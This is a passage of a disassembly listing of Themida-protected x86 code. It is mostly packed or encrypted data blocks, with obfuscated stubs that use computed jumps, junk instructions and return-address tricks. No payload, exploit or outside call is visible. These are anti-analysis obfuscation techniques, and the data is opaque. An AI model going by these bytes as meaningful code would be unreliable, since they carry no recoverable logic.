		dd 2084CE58h, 0FC365539h, 50CF5BEBh, 7222926Ah,	4DD94ADAh
		dd 11DE406Dh, 34A57F31h, 9F387BD9h, 4830F8Ah, 75F3A0DEh
		dd 0B191DE6Eh, 0D4B425FFh, 0DCBC48DCh, 10814ED2h, 1ABE015Fh
		dd 0B26E3E96h, 0F3A01A33h, 8A1AAA75h, 4121ADFAh, 0B444B56Fh
		dd 0F4363E7h, 39CCB7FAh, 6B000002h, 57593039h, 25B13DCDh
		dd 0F331A9A6h, 0C08D1D75h, 2997B534h, 0A737722Bh, 0B1773B1Bh
		dd 0FA2E8464h, 0D63E0A89h, 0A7878DD4h, 70501D0Bh, 743DE440h
		dd 27D82C4Fh, 4EF52B6h,	0A50E0000h, 57583885h, 109E7ECBh
		dd 0C9E3C310h, 8C260653h, 639C4F9Ch, 0E431F7BBh, 2C79AD04h
		dd 70BD614Ch, 0B7042090h, 946C551h, 0BD722B2Fh,	30398CEDh
		dd 0BE9E1DA9h, 0E722B29h, 14A4842Eh, 773717A3h,	3ECE5859h
		dd 90703DCDh, 98F64A20h, 99C09A93h, 73BD7B04h, 7101B910h
		dd 686C4424h, 0DA6ADB47h, 0B7F9D94Ah, 0ED4BFC6Dh, 7AAA06AAh
		dd 0EB89A92Dh, 8512B021h, 0B1000001h, 16A2822Eh, 5CA67636h
		dd 466D0CF8h, 0BD2EFBE0h, 451D3DDh, 139F3A2Fh, 0DAA77D33h
		dd 88FFCF4Eh, 0BF4F7222h, 795F5333h, 0EC7CED37h, 9F1E8F5Ch
		dd 722288AAh, 0CE1659B7h, 0B028E3AEh, 3437h, 3039D600h
		dd 0FC9E1DA9h, 50722219h, 55E54170h, 5BC5E9C9h,	80A80AEAh
		dd 22EF7F0Fh, 191932B1h, 0BE4A7222h, 8653D3DEh,	7D9DE528h
		dd 6B02978h, 0CAh, 0A2822EA5h, 0C7615131h, 0CB515B3Bh
		dd 21018DFEh, 95259690h, 5CC8E8C8h, 7FA50BEBh, 3550B332h
		dd 179975F3h, 0EA34C00Dh, 9DF5478Ch, 0F8B69650h, 6D865B28h
		dd 53527BFAh, 62F275F3h, 9FC746D2h, 2F72208Ch, 7F33139Fh
		dd 12911DA9h, 72208C3Dh, 24FEB191h, 9A7AC794h, 96691018h
		dd 0C9C88079h, 39BF458h, 0F9BA0000h, 0AB04E431h, 644A2A77h
		dd 1D8F6FBCh, 0E0D2B2FFh, 0D748FB48h, 90DD4B67h, 0D82501B0h
		dd 1C69B5F8h, 63B0743Ch, 0DDF271FDh, 71722B2Eh,	0F68240A1h
		dd 0F3315677h, 43E93175h, 0DFDD58E8h, 1DFDCA5Ah, 0B3694395h
		dd 9622B242h, 9A6EEB4Ch, 3C723919h, 3A8754E4h, 81CE565Ah
		dd 267AABF5h, 947C2F49h, 822E66C7h, 5F5131A2h, 0CEC78C5h
		dd 7B0B7CA0h, 49D0D9AEh, 24503EBDh, 64F47222h, 245D74F3h
		dd 17967222h, 0F9B69607h, 4828B829h, 7547B864h,	0CF80D417h
		dd 0FEDE2E71h, 0CCA16EAEh, 31B03CA7h, 75F3315Dh, 0B31461F1h
		dd 31A2822Eh, 39EBC5A5h, 248C6Ch, 4ED5DEB3h, 50B43C2h
		dd 2BBB7222h, 5163BBAh,	515B7222h, 327A5ACBh, 45A379EAh
		dd 68C6AE02h, 0BDF5D525h, 5DFF06Fh, 0DF6F7222h,	0E4426F4Fh
		dd 68739317h, 2606B029h, 33C99686h, 28h, 0AD3039D2h, 0F331212Eh
		dd 8515A575h, 19187AF9h, 1CAC7222h, 19272CABh, 0E6447222h
		dd 783B5BA3h, 0BFC4B029h, 63000000h, 31A2822Eh,	56C76151h
		dd 189A3A76h, 7F0F9F10h, 0A2822E0Eh, 3533D655h,	783875F3h
		dd 0F3D35FACh, 63F364BAh, 2AFAB696h, 644D2DB9h,	76E73F72h
		dd 0B48956E6h, 199824BFh, 72221521h, 36E8C5A5h,	19A535C5h
		dd 15C10E8Dh, 0F5857222h, 6F4FDB28h, 4318E543h,	9B27B32Eh
		dd 0BB2CF2BBh, 0FDDF5E2Bh, 5175F1F7h, 5D5535C1h, 149E7ECBh
		dd 0A737EBC4h, 51712B00h, 99FD6ED0h, 201h, 4A979320h, 90DD456Ah
		dd 0D522FEB0h, 1865B7F5h, 61AE7A38h, 0E5CD71AEh, 9B16F643h
		dd 4F5E3E8Bh, 0EA282CFh, 0D763C916h, 2B107758h,	0A607D772h
		dd 0CB473882h, 8F112436h, 58D0E2C2h, 9F852B0Bh,	3039F152h
		dd 0FC9E1DA9h, 50722219h, 77ED0206h, 17A7F66Eh,	0A62227A6h
		dd 0E13F7222h, 936569Eh, 0F4BFB029h, 5E000000h,	31A2822Eh
		dd 0B59A19A5h, 1975F331h, 31C10E8Dh, 0F58575F3h, 0FAB89865h
		dd 0DB3EBD2Eh, 1075F335h, 0C40988A0h, 2D75F335h, 88189D7Fh
		dd 0AA1B07A8h, 1EFE8A1Ah, 79C69393h, 9C0D1799h,	0AB37A2C7h
		dd 0FEB3931Fh, 35A4A928h, 982875F3h, 15164CCBh,	0D6B67222h
		dd 0FFD04FDBh, 4F722215h, 529F2FBFh, 72F1747Dh,	7222155Dh
		dd 0E9E665F1h, 5D722215h, 21AD3DCDh, 0F1CB11A2h, 0A322AE75h
		dd 75F1CBAAh, 38BD8A1Ah, 763C1CA8h, 2D8565B2h, 0AD1E04ABh
		dd 47E68D1Dh, 72D0513Dh, 0FB9D01h, 991A0000h, 4B644491h
		dd 4AA8AD7h, 0BDEFCF1Ch, 8032125Fh, 77A85BA8h, 0F03DEBC7h
		dd 3885A110h, 7CC95558h, 0C310149Ch, 7D52D15Dh,	0D1722B13h
		dd 0F682A001h, 0F3315677h, 9916F675h, 0F8881889h, 0C18E9A18h
		dd 0A57D1E1h, 519E862Ah, 0BCDE5C5h, 7EEF7FA5h, 2EC021EEh
		dd 5131A282h, 54AC95Fh,	0C975F331h, 0D05CA939h,	558B2486h
		dd 50366543h, 0BA79C36Eh, 54D35FE6h, 75F34A7Bh,	996E3BCBh
		dd 0D9F3B990h, 2ABA4AD4h, 522D1F9Eh, 11A1722Bh,	0E4F0C0A0h
		dd 5CE859CDh, 2B52F0DDh, 34C45472h, 0EBCB57A4h,	809E0FC5h
		dd 22EF7F0Fh, 2AB66E42h, 4CBD654Ah, 9CB130BCh, 30722B52h
		dd 0E362D3A0h, 3CCD34C3h, 0ED91D432h, 341461C3h, 3C1CA87Ch
		dd 0B040B175h, 1A9272E3h, 0D8369102h, 65BFF195h, 0F58D8FD9h
		dd 0E4B45B8Ch, 0A769BA9Ah, 3603CA7Ah, 7DA709E9h, 3A80Ch
		dd 0C0470000h, 0A5852E5Fh, 0C85C5434h, 0E8367757h, 0C1A9777h
		dd 31F7BB9Bh, 56D2E0C0h, 75A705E5h, 968A2404h, 0B86A4525h
		dd 0EC83AB47h, 240C8904h, 0C181E189h, 4, 8704E983h, 685C240Ch
		dd 4D32h, 68242C89h, 727Ah, 68241C89h, 7D81870h, 81242C8Bh
		dd 4C4h, 1C8B5400h, 4C48124h, 50000000h, 4389E889h, 24048B08h
		dd 0FF04C483h, 815B2434h, 4C4h,	2434FF00h, 4C4815Dh, 0E9000000h
		dd 0FFFA355Bh, 0CF541359h
; ---------------------------------------------------------------------------


loc_5F89D8:				; CODE XREF: Themida_:loc_5F7E63j
		mov	eax, 7D82334h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 6Dh,	3Eh, 0F5h
		dd 2A8AEA7Bh, 0C334831Eh, 0CF688A7Bh, 0CBA93E36h, 4787B448h
		dd 3A825758h, 0A119C718h, 11CAE418h, 0B1E7B13h,	0B873B91Ch
		dd 0AD4E8A09h, 0AF9B0C6Fh, 6ECD1046h, 0B45D344Eh, 5E134641h
		dd 64F8B327h, 44E79511h, 7324FC4Bh, 0B445E80Ch,	73E8197Ch
		dd 0E08F6B20h, 4C40DA39h, 0DBB03765h, 3017696Ah, 0EE904h
		dd 12B90000h, 0E29h, 2 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5F8F6F
; ---------------------------------------------------------------------------
		push	7D82525h
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D825A5h
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D826D9h
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		db 0E4h
		dd 0CCB946BAh, 0BAA734C8h, 0A99623DDh, 927F0CEAh, 0B06BF8F0h
		dd 2DCBC7EDh, 1AD0B3A0h, 5E3A08Dh, 0EF0D8B78h, 17D4C062h
		dd 1A00D956h, 22A8866Eh, 8C495035h, 1228B4E1h, 26B54CE3h
		dd 0FD25939h, 0BC3D676Fh, 0F9E6CB62h, 42D05D9Bh, 8C5B150h
		dd 19FAA772h, 0EAD6BB52h, 0A82C41FEh, 19819FAh,	0A7B4B572h
		dd 782319FAh, 0EAA79389h, 19FAA783h, 0A41BAA41h, 419F290Bh
		dd 2FDD2h, 0DE31F400h, 602310FCh, 510EA58Ah, 1228B51Ch
		dd 6EFFBCA8h, 561228B4h, 0B9928BFh, 0D18E7A9Fh,	19F9E64Dh
		dd 8F7BE077h, 2106E2A2h, 5FB9D8Ah, 4C29B976h, 0C0B2175Fh
		dd 0BA783521h, 0A1F3068h, 92008E73h, 0A4C6836Fh, 0D92701A3h
		dd 0A43D30EDh, 0F0872701h, 3925BC61h, 23B04C4Ch, 0E69A5636h
		dd 0E5C42629h, 4E2EA68Bh, 0FC000003h, 0E4D15E82h, 0D2BF4CA0h
		dd 0C1AE3BB5h, 0AA9724C2h, 0C88310E8h, 45A3DFD5h, 32C8CBB8h
		dd 1DDBB8A5h, 7E5A390h,	2FECD87Ah, 1A00DA3Eh, 22C09E86h
		dd 0A124D236h, 0AE8BE582h, 28BD7CF1h, 22B14812h, 1703E694h
		dd 0E21F5Ah, 220EA51Ah,	89465535h, 1A00E1E4h, 0A05D49E0h
		dd 1A00E1CDh, 3CC960F7h, 0D0B5334Fh, 5B99F7E4h,	9350DF76h
		dd 1A00E1D5h, 570BE9A7h, 0F6C4E4BCh, 0CEC73F24h, 7C000002h
		dd 6451DE02h, 523FCC20h, 412EBB35h, 2A17A442h, 48039068h
		dd 0C5235F55h, 0B2484B38h, 9D5B3825h, 87652310h, 0AF6C58FAh
		dd 1A00D9BEh, 80401E06h, 0FEF89912h, 0BBBE7B67h, 91A00D8h
		dd 99D08D72h, 3E1A00D8h, 8C236493h, 5141A556h, 1C2h, 2F632173h
		dd 18AF9452h, 0D1AF9C81h, 8AF88613h, 0A38F7B67h, 28B487E6h
		dd 17A63D12h, 0F9E9145Ah, 3419B019h, 0F9E8F277h, 0CB3AE519h
		dd 9E65E5CAh, 34F841h, 801A0000h, 0FEF89912h, 8F747211h
		dd 0B87561F8h, 19F9DCFAh, 914E33CAh, 19F9DCD8h,	280DE3A4h
		dd 0BEA3593Bh, 3A5BCA75h, 8D0EFDA8h, 419E5E22h,	0CDBBh
		dd 6321DD00h, 0D7B3A085h, 42402D19h, 453217A6h,	0D7C4A947h
		dd 0F1AE3BB9h, 1228B956h, 26E1C327h, 0D9BE3A58h, 6667DE42h
		dd 0FA73301Ch, 0CA122960h, 0D9B7A433h, 0C7CB2F1Bh, 340F5Ch
		dd 2FBD4AD9h, 0F5B29E43h, 19FD0E91h, 0C4B09C33h, 0D63AB8D7h
		dd 8B827F24h, 948110BFh, 816DFAF6h, 8995D895h, 0CB2F19FDh
		dd 5D502E00h, 0DC6B0267h, 0A15593EFh, 0F6C8B778h, 9A077F64h
		dd 48000001h, 301DAA56h, 1E0B9854h, 0DFA8779h, 0F6E3708Eh
		dd 14CF5C94h, 89672389h, 76740FFCh, 619FFCE9h, 4BA9E7D4h
		dd 73301CBEh, 1A00DAFAh, 2104E2CAh, 0AF9B8761h,	28B47BF2h
		dd 4EB24912h, 5E1BE33Bh, 0E774034Eh, 725E9AFAh,	28F3AE0Eh
		dd 95246D7Fh, 35222A08h, 0E4894655h, 0E01228B4h, 36CDB249h
		dd 1EDABAA7h, 0B04C4C39h, 521BD8C4h, 721228B5h,	0D3BF4CDBh
		dd 0BA49A7E6h, 0AF9B7E2Ch, 0FA0181F2h, 700FFC19h, 89F58DA5h
		dd 0CA615E38h, 10B881E5h, 8723D814h, 15E8CF0h, 0EDBAB678h
		dd 0CDCCB95Eh, 0BFAC982Fh, 0DB9825C3h, 19FA048Eh, 40FDAEEEh
		dd 19FA052Dh, 53617BD8h, 0C66BC0C6h, 1E0B982Fh,	0FB722F7Ch
		dd 8119F9B9h, 6A01E600h, 85422EC5h, 19F9B9E8h, 0C9AE45DCh
		dd 0BC51h, 12807300h, 2F4603EFh, 951A00D9h, 6C2C19FEh
		dd 76160390h, 0E5A28E7Ah, 1A00D888h, 0FCB9A53Ch, 1A00D871h
		dd 482DBC53h, 0D4126F5Ch, 286B58EFh, 0D28643D2h, 2B23F214h
		dd 0FA9A9180h, 2B10ECA8h, 8470FD94h, 9C00FE97h,	855BB27Bh
		dd 3E2BBA2Bh, 95B9D55Eh, 0DF95D895h, 982F23F1h,	9E20F134h
		dd 5F6B773Ah, 0A63DF518h, 0D671D5C1h, 0F488EEF3h, 205F4CDBh
		dd 0D0BDB06Dh, 1A0723F1h, 39A7F79h, 3F0D56Ch, 74721185h
		dd 8E0BF8DDh, 0D10F5E1Bh, 1EB523F1h, 8B36A287h,	0A752FB9Ch
		dd 58C3C178h, 8358207Eh, 9421B8AAh, 260BE9A7h, 6B15D63Ah
		dd 0C5F2DC71h, 3BE36h, 0C2E00000h, 837D21E4h, 15D3B19Eh
		dd 0A8464330h, 3DB3D6C3h, 0D12F6B58h, 6583FFECh, 0F6F49380h
		dd 8D632411h, 23D9BBA8h, 89566F3Eh, 4C681E6h, 83000000h
		dd 348704EEh, 24248B24h, 55EE68h, 241C8900h, 81E68956h
		dd 4C6h, 4EE8300h, 5C243487h, 52241489h, 406DD368h, 0F7425A49h
		dd 3DBF57DAh, 811A284Ch, 366785EFh, 0A0CF8111h,	814E7964h
		dd 9E52A9F7h, 5FFA31FFh, 545AD389h, 8324148Bh, 0B95104C4h
		dd 8, 1989D101h, 83240C8Bh, 148B04C4h, 0E0895024h, 405h
		dd 40500h, 4870000h, 34FF5C24h,	0C4835B24h, 555EE904h
		dd 0B6A0FFF9h, 0FB9A9C0Ch, 7B281875h
		db 3Dh,	0B2h, 98h
; ---------------------------------------------------------------------------


loc_5F8F6F:				; CODE XREF: Themida_:005F8A58j
		mov	eax, 7D82898h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dd 51DDCEEBh, 7294CFD5h, 7A9D75EDh, 472100E0h, 1D47C61Fh
		dd 4C194076h, 70AC11CAh, 5E8h, 0B26CDF00h, 0B70F0731h
		dd 8B665AF3h, 97C281C6h, 6600005Bh, 0BF2EC5B8h,	16B5h
		dd 11E832FFh, 2C000000h, 91CA5741h, 2369A364h, 0E839B8AEh
		dd 1F44114Ch, 3840Fh, 0CF800000h, 66595B17h, 81731EBEh
		dd 2D1E38E9h, 10E84Bh, 0A9110000h, 4687E86Ah, 2CDC8D5Ch
		dd 0C83AA411h, 830F9CCBh, 0
; ---------------------------------------------------------------------------
		pop	esi
		xor	ecx, 68F7EF0Eh
		add	ecx, 158BE645h
		jbe	loc_5F9015
		add	ebx, 241124B4h


loc_5F9015:				; CODE XREF: Themida_:005F9009j
		push	ecx
		stc
		pop	dword ptr [edx]
		mov	si, 0F2E1h
		sub	edx, 3
		dec	edx
		xor	si, 0BB17h
		dec	edi
		jnz	loc_5F9046
		jmp	loc_5F903C
; ---------------------------------------------------------------------------
		dw 9534h
		dd 0C7198CD7h, 0FBDB3B86h
; ---------------------------------------------------------------------------


loc_5F903C:				; CODE XREF: Themida_:005F902Dj
		jmp	loc_5F9060
; ---------------------------------------------------------------------------
		pop	eax
		add	al, 0DDh
		xchg	eax, ebx
		scasb


loc_5F9046:				; CODE XREF: Themida_:005F9027j
		jmp	loc_5F9051
; ---------------------------------------------------------------------------
		cld
		test	[ebx], dh
		popf
		fstp8	st(3)


loc_5F9051:				; CODE XREF: Themida_:loc_5F9046j
		jmp	near ptr dword_5F8F78+3Ch
; ---------------------------------------------------------------------------
		aaa
		retf	41F1h
; ---------------------------------------------------------------------------
		and	cl, [eax+ebp]
		lahf
		pop	ds
		aas


loc_5F9060:				; CODE XREF: Themida_:loc_5F903Cj
		lea	ecx, [ebp+7D82AB0h]
		push	ebx
		sbb	si, 95D2h
		pop	ebx
		mov	[ebp+7D11B51h],	ecx
		push	0
		push	edx
		call	sub_5F907E
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F907E	proc near		; CODE XREF: Themida_:005F9076p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 14h
		inc	edx
		push	edx
		retn
sub_5F907E	endp

; ---------------------------------------------------------------------------
		retf	85C7h
; ---------------------------------------------------------------------------
		db 55h,	2Dh, 0D1h
		dd offset loc_5A7807
		dd 0A1BD8B00h, 0B807D128h, 3529F738h, 1D3985C7h, 7D1h
		dd 8D310000h, 7D12699h,	306DB5FFh, 35B307D1h, 180195FFh
		dd 6A07D1h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h
		dd 51410000h, 0A01546C3h, 278E4C0Fh, 6ADEB70Fh,	5595FF00h
		dd 8B07D100h, 2319EBC0h, 6EDA5061h, 0DC299A3Ah,	0E19201A8h
		dd 51C91A03h, 28A35540h, 0AA8EF9DCh, 1CE9h, 6083F00h, 27h
		dd 5 dup(0)
		dd 58BE900h, 712D0000h,	7315028Fh, 8203F07Dh, 93F2DF6Ch
		dd 0BFDBC855h, 0A4F9B441h, 0E9767210h, 0D66399FCh, 0C14EA8E9h
		dd 0AB38B4D4h, 0D601D09h, 0B71A00DFh, 5C7FE3CFh, 0EACD7451h
		dd 214523B2h, 0B4A08563h, 0B4620BC8h, 0CB621228h, 0B5334F3Ch
		dd 9F5D3B28h, 31CFCDBAh, 741DE145h, 76AC5E79h, 6DB11E15h
		dd 0F07F16F7h, 867A1E0Bh, 9B8A35A1h, 353BE4A4h,	60181D8Fh
		dd 0B9A532C9h, 0A433C9CCh, 8F1CDAB7h, 1CD4B6A3h, 5E3A08Dh
		dd 9A503320h, 7CF74AAEh, 3FF2F0DFh, 7D0CA341h, 0EECAB98h
		dd 0A55B3C29h, 7AA954C0h, 98847019h, 4EA67434h,	0FCC88D7h
		dd 12291D5Eh, 3F0957A7h, 0EE939C8Eh, 0EE1DC857h, 0F9C5A37h
		dd 74316222h, 1228ECF9h, 4B22DFCBh, 791228EDh, 0CFB44BE2h
		dd 333AF7E3h, 4A1228EDh, 28ECE08Dh, 0A84DE412h,	0A5C58211h
		dd 201228ECh, 0A3908675h, 8B2207E5h, 6E2A85FCh,	0AD9A39CDh
		dd 0B08312ECh, 68h, 856321D2h, 0B488E3A0h, 96F41228h, 0C88755Ah
		dd 87740BF0h, 9A06EB09h, 0BB5F00EFh, 0FA0E110h,	0CE39CD36h
		dd 1, 346721F0h, 28B4F677h, 4A37CE12h, 361BB24Eh, 0C5B14F49h
		dd 0B5511CD9h, 0DC731228h, 1C7B684Dh, 0A18DF9DEh, 8C1BD1B4h
		dd 99FB32E1h, 0DE758B0Dh, 0C8246451h, 25624F3Bh, 99F9E6CBh
		dd 5B39C85Fh, 9B876121h, 2C11EFAEh, 34210695h, 0E38A4750h
		dd 9A1228B4h, 28B490DDh, 0F89D3412h, 0D8147461h, 0D9C55CF3h
		dd 0B53D30EDh, 9A871228h, 0D766FDFBh, 4CBB66F2h, 402DEAD6h
		dd 841228B5h, 6C7989EDh, 2B5355h, 95068471h, 28F695D8h
		dd 1982F12h, 16C2915h, 7B1228F7h, 65FCE11Fh, 0D9A29C0h
		dd 9A563421h, 827E1E0Bh, 19D7B09Dh, 0E984412Dh,	0DB1228F6h
		dd 0BB395744h, 3F5A472Ch, 0EBD02E6Bh, 0EBD8BD54h, 2E1985A8h
		dd 0DA8829BDh, 6A155E43h, 9D48DABBh, 5A922D6Eh,	516B39CDh
		dd 8D000000h, 0A2876121h, 391ED0B5h, 3CF322CDh,	5E484C5Eh
		dd 45DCC13Fh, 9B32C9AEh, 8761210Eh, 18D6B5A2h, 7F6A133h
		dd 0CD343986h, 4CC439h,	21E60000h, 96503161h, 97831AB1h
		dd 280DEBAAh, 311D0291h, 1BAA4644h, 0AE936D2Eh,	0D44BBA65h
		dd 0CFAD3AB6h, 0CFDBBE22h, 39C644FBh, 25DBBDAAh, 0D2E78340h
		dd 33DE1228h, 53ECC3C4h, 0BF139CDh, 5000000h, 0C7115C19h
		dd 1CB31228h, 6421AF8Dh, 0D8B8A58Ah, 4E4A371Ch,	0A5E0CDB2h
		dd 2BD66247h, 47F29BFCh, 742461D8h, 5440D715h, 0AD5415F0h
		dd 8F80D2h, 54B5E573h, 3203AB68h, 0D5C119FAh, 0FA325518h
		dd 41D86F19h, 0D3116F5Ch, 2A6D5A46h, 4CAAE7D4h,	5441D067h
		dd 0DFCCB834h, 0C85F44A2h, 7B685439h, 65FCE11Fh, 325219D6h
		dd 23CE19FAh, 4B5F3DF4h, 1B4DB14Fh, 39D03BB7h, 0BCA936CDh
		dd 5F0ECBDCh, 6519FA8Fh, 655237CEh, 58E4C927h, 0AAC3806Ch
		dd 1A19FA8Fh, 0DA49F483h, 0B2BB7864h, 1219FA8Fh, 81FFEC7Bh
		dd 0CE8B7763h, 19FA8F9Fh, 72FF8E25h, 0FDFB9986h, 7BF28118h
		dd 419F1134h, 134A9h, 0BE22CB00h, 9D8C76AAh, 771502A7h
		dd 6EFD9479h, 0CB82B2E0h, 0AF8203B2h, 391ED8B9h, 88740BA2h
		dd 0FA0D23CBh, 1E0AA119h, 0CF87532h, 35CC19FAh,	0B4D4C1A6h
		dd 0DEBEAB38h, 4E33C9CCh, 32C92761h, 0CBC9B69Bh, 76861C60h
		dd 5441E452h, 3C21B834h, 1F1605B0h, 33978361h, 157EB8A6h
		dd 72FF8E66h, 9EE3B4FBh, 5E2941h, 224B0000h, 0B4995735h
		dd 0B4620BC8h, 0CB621228h, 6C17A534h, 0C0AD9985h, 53956C1h
		dd 541DAF9Dh, 0B241D8BDh, 28E858F5h, 0C3806C92h, 9228E7AAh
		dd 0EC831Ah, 0ED7C7213h, 0E8224B08h, 0C6719228h, 0AD543F57h
		dd 0E74904C1h, 0E47B1228h, 7BDF57h, 6F30000h, 0C3806C84h
		dd 1228E6AAh, 16F4831Ah, 3EF1280h, 0F9E73446h, 14F99019h
		dd 93503C28h, 19F9E6DAh, 0D79653EAh, 0ED19F9E6h, 7F648000h
		dd 0D5C251E8h, 0BFAC39B7h, 813E23C1h, 19F9E7E7h, 0A89F8E39h
		dd 937F0CE8h, 2A0FE1A6h, 4760493h, 5F2F08Fh, 0EE856A84h
		dd 8EAE6B57h, 3621D212h, 0CFCDBA9Fh, 0F8A34C31h, 0E0017109h
		dd 7E1B08F4h, 75049B80h, 0AA3D84B8h, 1CA94029h,	0EF12803Eh
		dd 0DFF64603h, 37CE1A00h, 0C13F5E4Bh, 0D1B645DCh, 847BA4E4h
		dd 31632CC3h, 0CDA6F573h, 0DE7525ACh, 0B26F5B47h, 1A0180BBh
		dd 4857209h, 0E1CE5BEAh, 0A36045A3h, 3ADFB995h,	0D74EBD68h
		dd 0C1AE3BB9h, 544025C3h, 52AADF0h, 0B03F5552h,	4126C4C3h
		dd 0D4B93754h, 674CAAE7h, 0A0C130DBh, 66DD4CF7h, 503DCA26h
		dd 57CFB430h, 3, 21E4C279h, 0B19E837Dh,	433015D3h, 0D6C3A846h
		dd 6B583DB3h, 0FFECD12Fh, 93806583h, 2411F6F4h,	0BBA88D63h
		dd 6F3E23D9h, 81E28952h, 4C2h, 4EA8300h, 8B241487h, 89532424h
		dd 4C381E3h, 83000000h,	1C8704EBh, 14895C24h, 0E1895124h
		dd 4C181h, 0E9830000h, 240C8704h, 240C895Ch, 5D25BB53h
		dd 0D1BA3CD1h, 313B0977h, 241C8BDAh, 6804C483h,	7E0Dh
		dd 81242489h, 42404h, 68590000h, 28C8h,	89243C89h, 87989D7h
		dd 2434FF5Fh, 4C48159h,	0FF000000h, 835A2434h, 5E904C4h
		dd 83FFF94Eh, 2FFEB821h, 0C50307D8h, 4395E0FFh,	0B8601384h
		dd 0BDE472FBh, 177223C5h, 0FDB257ACh, 88876ADDh, 1E7060D1h
		dd 159C280Bh, 139E5A33h, 0EAB944FFh, 539730D2h,	851B292Bh
		dd 0E3491D03h, 532718CCh, 3A7457F2h, 23360F36h,	42591180h
		dd 0F652410Ch, 6D824DCAh, 255A41F6h, 0E094C36h,	5BEF35EEh
		dd 8F29074Ch, 0B1F6064h, 0EFD90D38h, 0F2B2909h,	11E800C2h
		dd 0A4000000h, 3321FFE7h, 3C2E0C28h, 8864E881h,	23EB6A2Ah
		dd 0F7E98060h, 5E7DB456h, 13B95B61h, 81560768h,	5A00C3h
		dd 11E800h, 6B9A0000h, 238F26EDh, 0E64E0274h, 0AC148B27h
		dd 805EEEF8h, 0BF5E5BC2h, 3E07F41Eh, 0E247F781h, 0BF0F3E07h
		dd 8133FFD6h, 0C8B36CEh, 0BE66580Eh, 0F0813A81h, 3889C48h
		dd 81E881F9h, 66252290h, 0E933D681h, 607CC081h,	0C981692Bh
		dd 3784303Fh, 0F28B0389h, 5301EB83h, 52CA8B60h,	4B59615Bh
		dd 0F604B4Bh, 8361FEBFh, 850F01EFh, 0FFFFFFB5h,	0E9816656h
		dd 8D5A8833h, 0D832898Dh, 53006A07h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 89554303h
		dd 0D121D99Dh, 0CEBE6607h, 518D89BDh, 6A07D11Bh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 5D69C356h, 1BF24695h, 88A0Fh, 89520000h, 0D1270595h
		dd 85C75B07h, 7D12D55h,	635Ch, 80E3F080h, 85C75ECFh, 7D11D39h
		dd 0
; ---------------------------------------------------------------------------
		mov	edx, [ebp+7D11A7Dh]
		cld
		push	dword ptr [ebp+7D12445h]
		push	0
		push	esi
		call	sub_5F9868
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F9868	proc near		; CODE XREF: Themida_:005F9860p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 14h
		inc	esi
		push	esi
		retn
sub_5F9868	endp

; ---------------------------------------------------------------------------
		dd 9E808h, 52B10000h, 5061236Ah, 8B3A6EDAh, 95FF58FAh
		dd 7D11801h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ch,	4BC35747h, 202C3D05h, 23C01AAh,	207DB501h, 0B58907D1h
		dd 7D1160Dh, 95FF006Ah,	7D10055h, 2DEBC08Bh, 0EEEB2706h
		dd 9E073E2Fh, 4084BBB2h, 0A6A7B44Eh, 0B973D957h, 170D90D2h
		dd 0AA98E5FEh, 0EDA6DDA9h, 0CC798D73h, 47699FE2h, 0BCA9EB68h
		dd 0A28D8DD5h, 6A07D833h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1B042444h, 43000000h, 4623C353h, 9BB23EE0h
		dd 9D2942C8h, 7D11A25h,	0E1B58B56h, 5B07D11Eh, 1B518D89h
		dd 6A07D1h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h
		dd 56460000h, 830F24C3h, 6, 20459589h, 85C707D1h, 7D12D55h
		dd 7460h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 17h,	70C35040h, 89081BB8h, 0D11F559Dh, 3985C707h, 7D11Dh
		dd 66000000h, 0A09AC081h, 49B5FFh, 6A07D1h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 170424h, 52420000h, 0C2342CC3h
		dd 6850FC3h, 89000000h,	0D1202D9Dh, 0FB8B6607h,	180195FFh
		dd 0F38007D1h, 0FF006A02h, 0D1005595h, 0EBC08B07h, 0C73161Fh
		dd 0E524FB8Bh, 0BFADC246h, 9C66C33Fh, 0B6A48DB4h, 0A6CCFDD8h
		dd 9C77383Eh, 829ED717h, 9E8h, 0A2513B00h, 0EC1D594Bh
		dd 76B93EBAh, 5E3F2DEBh, 2B11BD8Bh, 0C68107D1h,	60DEh
		dd 7A58589h, 0BA07D1h, 0FF000000h, 95893234h, 7D10C45h
		dd 0C381F85Bh, 6D3198B8h, 0C05BD8Bh, 0F38107D1h, 2D064F2Eh
		dd 48F0Fh, 0BF660000h, 0EB816EFEh, 4124D3D0h, 18E0Fh, 53F80000h
		dd 16048FF5h, 6820Fh, 0F1810000h, 5E26E069h, 26DBD8Bh
		dd 0EA8107D1h, 5EC16B3Ah, 6E9h,	0FE53F00h, 817403BBh, 0C16B36C2h
		dd 75858B5Eh, 8107D105h, 0FF9FDCFAh, 8C850FFFh,	0E8FFFFFFh
		dd 12h,	811DAC47h, 92AFDBFFh, 0CA744B6Fh, 0D4BBE210h, 890FAF41h
		dd 6, 2799D29h,	0E85807D1h, 6, 0E08F6D35h, 0BD8981E1h
		dd 7D124E5h, 89952B59h,	8107D110h, 71BFC1h, 0E1958900h
		dd 3307D11Fh, 0CDE680FFh, 8B39048Bh, 0A8E881D0h, 961A9D0h
		dd 0D1295185h, 20F08107h, 600C2F11h, 21BD09F9h,	6107D107h
		dd 8F16C081h, 0C3816C2Bh, 0B68931Bh, 0F5390489h, 8104EF83h
		dd 1F9F26CBh, 0ACFF8153h, 0FFFFF8Eh, 0FFFFBB85h, 0C98D89FFh
